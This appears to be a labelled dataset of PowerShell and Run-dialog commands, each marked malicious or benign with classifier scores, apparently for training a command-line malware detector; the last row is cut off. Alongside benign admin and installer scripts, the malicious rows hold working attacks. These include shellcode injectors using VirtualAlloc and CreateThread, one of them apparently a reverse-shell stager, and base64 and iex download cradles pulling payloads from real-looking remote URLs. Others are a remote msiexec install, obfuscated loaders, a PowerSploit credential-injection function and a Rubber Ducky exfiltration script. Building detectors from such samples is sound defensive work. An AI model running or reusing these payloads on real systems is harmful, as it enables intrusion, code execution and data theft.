"win+r powershell enter $mapping = [ordered]@{} enter $psd1s = Get-ChildItem -Path $PSScriptRoot/../src -Recurse | ` enter Where-Object {($_.Name -like ""*AzureRM*psd1"" -or $_.Name -eq ""Azure.AnalysisServices.psd1"" -or $_.Name -eq ""Azure.Storage.psd1"") ` enter -and $_.FullName -notlike ""*Stack*"" -and $_.FullName -notlike ""*`\Package`\*"" -and $_.FullName -notlike ""*Test*"" -and $_.FullName -notlike ""*`\bin`\*"" -and $_.FullName -notlike ""*`\obj`\*""} enter $psd1s | ForEach-Object { enter $name = (($_.Name -replace ""AzureRM"", ""Az"") -replace ""Azure"", ""Az"") -replace "".psd1"", """" -replace ""RecoveryServices.SiteRecovery"", ""RecoveryServices"" -replace ""RecoveryServices.Backup"", ""RecoveryServices"" enter if (!($mapping.Contains($name))) enter { enter $mapping.Add($name, [ordered]@{}) enter } enter Import-LocalizedData -BindingVariable psd1info -BaseDirectory $_.DirectoryName -FileName $_.Name enter $psd1info.CmdletsToExport | ForEach-Object { enter if ($_ -like ""*AzureRmStorageContainer*"") enter { enter $cmdletalias = $_ -replace ""-AzureRM"", ""-AzRm"" enter $mapping[$name].Add($cmdletalias, $_) enter } enter elseif ($_ -like ""*Azure*"") enter { enter $cmdletalias = ($_ -replace ""-AzureRM"", ""-Azure"") -replace ""-Azure"", ""-Az"" enter $mapping[$name].Add($cmdletalias, $_) enter } enter else enter { enter Write-Warning $_ enter } enter } enter $psd1info.AliasesToExport | ForEach-Object { enter if ($_ -like ""*Azure*"") enter { enter $cmdletalias = ($_ -replace ""-AzureRM"", ""-Azure"") -replace ""-Azure"", ""-Az"" enter $mapping[$name].Add($cmdletalias, $_) enter } enter else enter { enter Write-Warning $_ enter } enter } enter } enter ConvertTo-Json $mapping | Set-Content -Path $PSScriptRoot/../src/Accounts/Accounts/AzureRmAlias/Mappings.json enter",0,0,0.9999448,5.5144512e-05
"win r rundll32.exe pcwutl.dll,launchapplication calc.exe enter",1,1,0.0011049702,0.9988951
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_qac89tlt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3979974e-05
"win+r powershell enter $w = ""$env:APPDATA"" + '/BBWC/'; [Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w + 'Newtonsoft.Json.dll')); [Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w + 'System.Data.SQLite.dll')); [Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w + 'ICSharpCode.SharpZipLib.dll')); [Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w + 'LZ4.dll')); $f = $w + 'WC.txt'; $h = Get-Content -Path $f -Raw; $h = Get-Content -Path $f -Raw; [byte[]]$bytes = ($h -split '(.{2})' -ne '' -replace '^', '0X'); [Reflection.Assembly]::Load($bytes); [WebCompanion.StartUp]::Start() enter",1,1,0.00011409954,0.9998859
"win+r powershell enter $t0=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), enter 8) -As[Char])});sal g $t0 [String]$QiSl='4D5A9!#!#!#!#3!#!#!#!#!#!#!#4!#!#!#!#!# enter !#FFFF!#!#!#!#B8!#!#!#!#!#!#!#!#!#!#!#!#!#!#4!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#! enter #!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#! enter #!#!#!#!#!#!#!#!#!#!#!#!#!#8!#!#!#!#!#!#!#!#E1FBA!#E!#!#B4!#9CD21B8!#14CCD215468 enter 69732!#7!#726F6772616D2!#63616E6E6F742!#62652!#72756E2!#696E2!#444F532!#6D6F6465 enter 2E!#D!#D!#A24!#!#!#!#!#!#!#!#!#!#!#!#!#!#5!#45!#!#!#!#4C!#1!#3!#!#34DBE1FF!#!#!# enter !#!#!#!#!#!#!#!#!#!#!#!#!#E!#!#!#!#E!#1!#B!#13!#!#!#!#!#!#C!#B!#!#!#!#!#8!#!#!#! enter #!#!#!#!#!#!#!#!#8E2B!#B!#!#!#!#2!#!#!#!#!#!#!#4!#!#B!#!#!#!#!#!#4!#!#!#!#!#2!#! enter #!#!#!#!#!#!#2!#!#!#!#!#4!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#4!#!#!#!#!#!#!#!#!#!#!#!# enter !#!#!#!#8!#!#B!#!#!#!#!#2!#!#!#!#!#!#!#!#!#!#!#!#!#2!#!#4!#85!#!#!#!#1!#!#!#!#!# enter 1!#!#!#!#!#!#!#!#!#1 enter enter",1,1,6.754527e-05,0.9999324
"win+r powershell enter function Invoke-CredentialInjection { <# .SYNOPSIS This script allows an att enter acker to create logons with clear-text credentials without triggering a suspicio enter us Event ID 4648 (Explicit Credential Logon). The script either creates a suspe enter nded winlogon.exe process running as SYSTEM, or uses an existing WinLogon proces enter s. Then, it injects a DLL in to winlogon.exe which calls LsaLogonUser to create enter a logon from within winlogon.exe (which is where it is called from when a user enter logs in using RDP or logs on locally). The injected DLL then impersonates the n enter ew logon token with its current thread so that it can be kidnapped using Invoke- enter TokenManipulation. PowerSploit Function: Invoke-CredentialInjection Author: J enter oe Bialek, Twitter: @JosephBialek enter enter",1,1,6.0864444e-05,0.9999391
win+r powershell enter $appPoolName = 'CarbonTestUninstallAppPool' function Start-TestFixture { & (Jo enter in-Path -Path $PSScriptRoot '..\Initialize-CarbonTest.ps1' -Resolve) } function enter Start-Test { Uninstall-IisAppPool -Name $appPoolName Assert-False (Test-IisAp enter pPool -Name $appPoolName) } enter enter,1,1,0.019828454,0.98017156
"powershell.exe -c ""&{ iex ([System.Text.Encoding]::ASCII.GetString([System.Conve enter rt]::FromBase64String('ICAgICBXcml0ZS1Ib3N0ICJpSm1LTiI7JFByb2dyZXNzUHJlZmVyZW5jZ enter T0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2NtZ2xvZ2lzdGljcy5jb20udm4vd3AtY enter WRtaW4vTkpyUmNLR2RBandmVS8iLCJodHRwOi8vc2ltYWRlbGljYXRlc3Nlbi5ubC9jZ2ktYmluL1NSb enter m1lLyIsImh0dHA6Ly93d3cuaG90ZWxtb3VyeWEuY29tL2FzcG5ldF9jbGllbnQvYllnd05YbmtxLyIsI enter mh0dHA6Ly93d3cuY2xhc2l0ZS5jb20vYmxvZ3MvdWFXaS8iLCJodHRwOi8vd3d3LmlwYXN2aXNyLml0L enter 0JhY2t1cF9JbmZlLzFYM1lNR3QvIiwiaHR0cDovL3d3dy5pc21hcnR0ZWNobm9sb2dpZXMuY29tL2Jsb enter 2dzLzNmdXR3amZ2ZEx1TDNZQ0kvIiwiaHR0cDovL2N1YmljZWdnLmFzaWEvcEtVVlFzZlNIQi9iQnE0S enter UxtemZLSW9BbXduTFAvIik7JHQ9IkdPZGxKIjtta2RpciAtZm9yY2UgIiRlbnY6VE1QXC4uXCR0IiB8I enter G91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6V enter E1QXC4uXCR0XGxqcEh2ZGRvU2wuUHJlO1JlZ3N2cjMyLmV4ZSAiJGVudjpUTVBcLi5cJHRcbGpwSHZkZ enter G9TbC5QcmUiO2JyZWFrf enter",1,1,6.2759136e-05,0.9999373
"win+r enter powershell enter enter enter powershell ""' '| foREaCH {$ZhPGTKNo =$_ -CsPLIT ' ' | foREaCH { ' ' ; $_ -CsPLIT ' ' | foREaCH {$_.leNgth - 1 }}; -jOiN ((( [sTRING]::jOin( '' ,$ZhPGTKNo[0..($ZhPGTKNo.leNgth-1)] )).trim(' ' ).SPLIT(' ')| foREaCH{( [chAR][inT]$_) }))| &( ''.REMoVE.TostrIng()[45,54,69]-jOIn'')}"" enter enter",1,1,9.301616e-05,0.999907
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_nx086onv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999666,3.3409946e-05
"win+r powershell enter param( enter [string]$Version, enter [string]$Path, enter [switch]$Force, enter $Update, enter [switch]$Uninstall enter ) enter $Configs = @{ enter Version = ""6.5.3"" enter Url = ""http://download.tuxfamily.org/notepadplus/6.5.3/npp.6.5.3.Installer.exe"" enter Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" enter Executable = ""C:\Program Files (x86)\Sublime Text 2\sublime_text.exe"" enter } enter $Configs = @{ enter Version = ""2.7.6"" enter Url = ""https://www.python.org/ftp/python/2.7.6/python-2.7.6.msi"" enter Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" enter MSIProductName = ""Python 2.7.6"" enter },@{ enter Version = ""3.4.0"" enter Url = ""https://www.python.org/ftp/python/3.4.0/python-3.4.0.msi"" enter Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" enter MSIProductName = ""Python 3.4.0"" enter } enter $Configs | where{$_.Version -eq $Version} | ForEach-Object{ enter try{ enter $_.Result = $null enter if(-not $_.Path){$_.Path = $Path} enter $Config = $_ enter if(-not $Uninstall){ enter if($_.ConditionExclusion){ enter $_.ConditionExclusionResult = $(Invoke-Expression $Config.ConditionExclusion -ErrorAction SilentlyContinue) enter } enter if(($_.ConditionExclusionResult -eq $null) -or $Force){ enter $_.Downloads = $_.Url | ForEach-Object{ enter Get-File -Url $_ -Path $Config.Path enter } enter $Directory = ""C:\Program Files\MongoDB\""; if(-not (Test-Path -Path $Directory)){New-Item -Path $Directory -Type directory} enter $_.Downloads | ForEach-Object{ enter Start-Process -FilePath $(Join-Path $_.Path $_.Filename) -ArgumentList ""/VERYSILENT /NORESTART"" -Wait enter Start-Process -FilePath ""msiexec"" -ArgumentList ""/i $(Join-Path $_.Path $_.Filename) /quiet /norestart"" -Wait enter } enter $WorkingPath = (Get-Location).Path enter Set-Location ""C:\Program Files\"" enter $_.Downloads | ForEach-Object{ enter Unzip-File -File $(Join-Path $_.Path $_.Filename) -Destination $($env:PSModulePath.Split("";"")[0]) enter } enter Set-Location $WorkingPath enter Rename-Item -Path ""C:\Program Files\mongodb-win32-x86_64-2008plus-2.4.9"" -NewName ""MongoDB"" -Force enter $Executable = ""C:\Program Files (x86)\PuTTY\putty.exe"";if(Test-Path $Executable){Set-Content -Path (Join-Path $PSbin.Path ""putty.bat"") -Value ""@echo off`nstart `""`"" `""$Executable`"" %*""} enter Set-EnvironmentVariableValue -Name ""Path"" -Value "";C:\Program Files (x86)\Notepad++\"" -Target ""Machine"" -Add enter Set-Content -Path (Join-Path $_.Path ""Sublime Text 2 Context Add.bat"") -Value @"" enter rem add it for all file types enter reg add ""HKEY_CLASSES_ROOT\*\shell\Open with Sublime Text 2"" /t REG_SZ /v """" /d ""Open with Sublime Text 2"" /f enter reg add ""HKEY_CLASSES_ROOT\*\shell\Open with Sublime Text 2"" /t REG_EXPAND_SZ /v ""Icon"" /d ""$($_.Executable),0"" /f enter reg add ""HKEY_CLASSES_ROOT\*\shell\Open with Sublime Text 2\command"" /t REG_SZ /v """" /d ""$($_.Executable) \""%%1\"""" /f enter rem add it for folders enter reg add ""HKEY_CLASSES_ROOT\Folder\shell\Open with Sublime Text 2"" /t REG_SZ /v """" /d ""Open with Sublime Text 2"" /f enter reg add ""HKEY_CLASSES_ROOT\Folder\shell\Open with Sublime Text 2"" /t REG_EXPAND_SZ /v ""Icon"" /d ""$($_.Executable),0"" /f enter reg add ""HKEY_CLASSES_ROOT\Folder\shell\Open with Sublime Text 2\command"" /t REG_SZ /v """" /d ""$($_.Executable) \""%%1\"""" /f enter ""@ enter & (Join-Path $_.Path ""Sublime Text 2 Context Add.bat"") | out-null enter $_.Downloads | ForEach-Object{ enter Remove-Item (Join-Path $_.Path $_.Filename) -Force enter } enter Remove-Item (Join-Path $_.Path ""Sublime Text 2 Context Add.bat"") -Force enter if($Update){ enter $_.Result = ""AppUpdated"";$_ enter }elseif($Downgrade){ enter $_.Result = ""AppDowngraded"";$_ enter }else{ enter $_.Result = ""AppInstalled"";$_ enter } enter }else{ enter $_.Result = ""ConditionExclusion"";$_ enter } enter }else{ enter Remove-EnvironmentVariableValue -Name Path -Value "";C:\Program Files enter odejs"" - hine enter if(Test-Path (Join-Path $PSbin.Path ""putty.bat"")){Remove-Item (Join-Path $PSbin.Path ""putty.bat"")} enter $Executable = ""C:\Program Files (x86)\PuTTY\unins000.exe""; if(Test-Path $Executable){Start-Process -FilePath $Executable -ArgumentList ""/VERYSILENT /NORESTART"" -Wait} enter $Directory = ""C:\Program Files\MongoDB\""; if(Test-Path $Directory){Remove-Item -Path $Directory -Force -Recurse} enter Get-MSI | where{$_.ProductName -eq ""7-Zip 9.20 (x64 edition)""} | ForEach-Object{ enter Start-Process -FilePath ""msiexec"" -ArgumentList ""/uninstall $($_.LocalPackage) /qn /norestart"" -Wait enter } enter Set-Content -Path (Join-Path $_.Path ""Sublime Text 2 Context Remove.bat"") -Value @"" enter rem remove for all file types enter reg delete ""HKEY_CLASSES_ROOT\*\shell\Open with Sublime Text 2"" /f enter rem remove for folders enter reg delete ""HKEY_CLASSES_ROOT\Folder\shell\Open with Sublime Text 2"" /f enter ""@ enter & (Join-Path $_.Path ""Sublime Text 2 Context Remove.bat"") | out-null enter Remove-Item (Join-Path $_.Path ""Sublime Text 2 Remove.bat"") -Force enter $_.Result = ""AppUninstalled"";$_ enter } enter }catch{ enter $Config.Result = ""Error"";$Config enter } enter } enter",0,0,0.99994886,5.1156767e-05
"win+r enter powershell enter enter enter function Test-IsLocalAdministrator enter { enter enter ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator"") enter } enter $w=new-object net.webclient;$w.UseDefaultCredentials=$true;$w.Proxy.Credentials=$w.Credentials;iex($w.downloadstring('https://topbrains.it/article/c-bat')) enter enter",1,1,7.1125396e-05,0.99992883
"msiexEc TaEVUAU=MAypcvYmj nToN=znpepZ -PackAGe ""HtTP://6WR9.cOm:8080/y/3uAJ3iEWA enter sdvFEDK3pfLk95Mfk/testHost - Ajoesh"" /qN XJ=DfbNi EyWIPy=vYVNcGzv lQySIkRp=jevq enter",1,1,6.0485694e-05,0.99993956
"win+r enter powershell enter enter enter $4TL = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $4TL -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x80,0x01,0xce,0x2c,0xdb,0xc8,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x47,0x31,0x78,0x13,0x03,0x78,0x13,0x83,0xe8,0x7c,0xe3,0x3b,0xd0,0x94,0x66,0xc3,0x29,0x64,0x07,0x4d,0xcc,0x55,0x07,0x29,0x84,0xc5,0xb7,0x39,0xc8,0xe9,0x3c,0x6f,0xf9,0x7a,0x30,0xb8,0x0e,0xcb,0xff,0x9e,0x21,0xcc,0xac,0xe3,0x20,0x4e,0xaf,0x37,0x83,0x6f,0x60,0x4a,0xc2,0xa8,0x9d,0xa7,0x96,0x61,0xe9,0x1a,0x07,0x06,0xa7,0xa6,0xac,0x54,0x29,0xaf,0x51,0x2c,0x48,0x9e,0xc7,0x27,0x13,0x00,0xe9,0xe4,0x2f,0x09,0xf1,0xe9,0x0a,0xc3,0x8a,0xd9,0xe1,0xd2,0x5a,0x10,0x09,0x78,0xa3,0x9d,0xf8,0x80,0xe3,0x19,0xe3,0xf6,0x1d,0x5a,0x9e,0x00,0xda,0x21,0x44,0x84,0xf9,0x81,0x0f,0x3e,0x26,0x30,0xc3,0xd9,0xad,0x3e,0xa8,0xae,0xea,0x22,0x2f,0x62,0x81,0x5e,0xa4,0x85,0x46,0xd7,0xfe,0xa1,0x42,0xbc,0xa5,0xc8,0xd3,0x18,0x0b,0xf4,0x04,0xc3,0xf4,0x50,0x4e,0xe9,0xe1,0xe8,0x0d,0x65,0xc5,0xc0,0xad,0x75,0x41,0x52,0xdd,0x47,0xce,0xc8,0x49,0xeb,0x87,0xd6,0x8e,0x0c,0xb2,0xaf,0x01,0xf3,0x3d,0xd0,0x08,0x37,0x69,0x80,0x22,0x9e,0x12,0x4b,0xb3,0x1f,0xc7,0xdc,0xe3,0x8f,0xb8,0x9c,0x53,0x6f,0x69,0x75,0xbe,0x60,0x56,0x65,0xc1,0xab,0xff,0x0c,0x3b,0x3b,0xc0,0x79,0x42,0xb1,0xa8,0x7b,0x45,0x23,0x50,0xf5,0xa3,0xc1,0xb1,0x53,0x7b,0x7d,0x2b,0xfe,0xf7,0x1c,0xb4,0xd4,0x7d,0x1e,0x3e,0xdb,0x82,0xd0,0xb7,0x96,0x90,0x84,0x37,0xed,0xcb,0x02,0x47,0xdb,0x66,0xaa,0xdd,0xe0,0x20,0xfd,0x49,0xeb,0x15,0xc9,0xd5,0x14,0x70,0x42,0xdf,0x80,0x3b,0x3c,0x20,0x45,0xbc,0xbc,0x76,0x0f,0xbc,0xd4,0x2e,0x6b,0xef,0xc1,0x30,0xa6,0x83,0x5a,0xa5,0x49,0xf2,0x0f,0x6e,0x22,0xf8,0x76,0x58,0xed,0x03,0x5d,0x58,0xd1,0xd5,0x9b,0x2e,0x3b,0xe6;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$sUpO=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($sUpO.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$sUpO,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2310847e-05,0.99994767
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_ggfjm2ic"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.439296e-05
"win+r powershell enter $fqdn=""<Replace with your custom domain name>"" $pfxPath=""<Replace with path to y enter our .PFX file>"" $pfxPassword=""<Replace with your .PFX password>"" $webappname=""my enter webapp$(Get-Random)"" $location=""West Europe"" New-AzResourceGroup -Name $webappn enter ame -Location $location New-AzAppServicePlan -Name $webappname -Location $locat enter ion ` -ResourceGroupName $webappname -Tier Free New-AzWebApp -Name $webappname enter -Location $location -AppServicePlan $webappname ` enter enter",1,1,0.0009789626,0.99902105
win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Saves all installed windows updates to a list. Don't forget to change the path. enter REM Version: 1.0 enter REM Category: Exfiltration enter DELAY 750 enter WINDOWS d enter DELAY 1500 enter WINDOWS r enter DELAY 1500 enter STRING powershell Start-Process powershell -Verb runAs enter ENTER enter DELAY 750 enter LEFTARROW enter ENTER enter DELAY 1200 enter ALT y enter DELAY 1200 enter GUI UP enter DELAY 1200 enter STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType enter ENTER enter STRING Compress-Archive -Path $fileSaveDir -DestinationPath results-90412137.zip ; exit enter ENTER enter DUCKY_REAL_END enter,1,1,5.7483885e-05,0.99994254
"win+r powershell enter function Invoke-CredentialInjection { [CmdletBinding()] Param( [Parameter( enter ParameterSetName = ""NewWinLogon"", Position = 0)] [Switch] $NewWinLogon, [Par enter ameter(ParameterSetName = ""ExistingWinLogon"", Position = 0)] [Switch] enter enter",1,1,0.0005125739,0.9994874
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_rz2i89v5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.4459612e-05
"win+r enter powershell enter enter enter Function Lock-Computer enter { enter $signature = @"" enter [DllImport(""user32.dll"", SetLastError = true)] enter public static extern bool LockWorkStation(); enter ""@ enter enter $LockComputer = Add-Type -memberDefinition $signature -name ""Win32LockWorkStation"" -namespace Win32Functions -passthru enter $LockComputer::LockWorkStation() | Out-Null enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x73,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1123014e-05,0.99994886
"win+r enter powershell enter enter enter Start-Job -Name ""UpdateHelp"" -ScriptBlock { Update-Help -Force } | Out-null enter Write-Host ""Updating Help in background (Get-Help to check)"" -ForegroundColor Yellow enter Write-host ""PowerShell Version: $($psversiontable.psversion) - ExecutionPolicy: $(Get-ExecutionPolicy)"" -ForegroundColor yellow enter Set-Location $home\onedrive\scripts\github enter Import-Module -Name PSReadline enter enter if(Get-Module -name PSReadline) enter { enter Set-PSReadlineKeyHandler -Key UpArrow -Function HistorySearchBackward enter Set-PSReadlineKeyHandler -Key DownArrow -Function HistorySearchForward enter } enter Set-Alias -Name npp -Value notepad++.exe enter Set-Alias -Name np -Value notepad.exe enter if (Test-Path $env:USERPROFILE\OneDrive){$OneDriveRoot = ""$env:USERPROFILE\OneDrive""} enter function prompt enter { enter enter Write-output ""PS [LazyWinAdmin.com]> "" enter } enter function Get-ScriptDirectory enter { enter if ($hostinvocation -ne $null) enter { enter Split-Path $hostinvocation.MyCommand.path enter } enter else enter { enter Split-Path $script:MyInvocation.MyCommand.Path enter } enter } enter enter $MyInvocation.MyCommand enter $currentpath = Get-ScriptDirectory enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Show-Object.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Connect-Office365.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Test-Port.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Get-NetAccelerator.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Clx.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Test-DatePattern.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\View-Cats.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Find-Apartment.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Launch-AzurePortal.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Launch-ExchangeOnline.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Launch-InternetExplorer.ps1"") enter . (Join-Path -Path $currentpath -ChildPath ""\functions\Launch-Office365Admin.ps1"") enter Get-Command -Module Microsoft*,Cim*,PS*,ISE | Get-Random | Get-Help -ShowWindow enter Get-Random -input (Get-Help about*) | Get-Help -ShowWindow enter enter",0,0,0.9999536,4.6345915e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_fdz13j1s"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter",0,0,0.99996614,3.3877826e-05
"win+r enter powershell enter enter enter  enter $Script:Version = '1.0.9.1126' enter $Script:LogSeparator = '*******************************************************************************' enter $Script:LogFile = """" enter function Get-ScriptName(){ enter $tmp = $MyInvocation.ScriptName.Substring($MyInvocation.ScriptName.LastIndexOf('\') + 1) enter $tmp.Substring(0,$tmp.Length - 4) enter } enter enter function Write-Log($Msg, [System.Boolean]$LogTime=$true){ enter if($LogTime){ enter $date = Get-Date -format dd.MM.yyyy enter $time = Get-Date -format HH:mm:ss enter Add-Content -Path $LogFile -Value ($date + "" "" + $time + "" "" + $Msg) enter } enter else{ enter Add-Content -Path $LogFile -Value $Msg enter } enter } enter enter function Initialize-LogFile($File, [System.Boolean]$reset=$false){ enter try{ enter enter if(Test-Path 